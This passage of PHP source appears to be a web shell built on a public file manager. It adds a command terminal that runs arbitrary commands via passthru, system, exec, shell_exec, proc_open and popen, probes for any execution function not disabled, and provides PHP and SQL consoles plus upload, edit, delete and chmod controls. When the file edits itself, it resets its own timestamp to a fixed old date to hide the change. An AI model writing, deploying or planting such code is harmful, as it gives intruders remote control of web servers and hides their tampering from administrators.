jKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
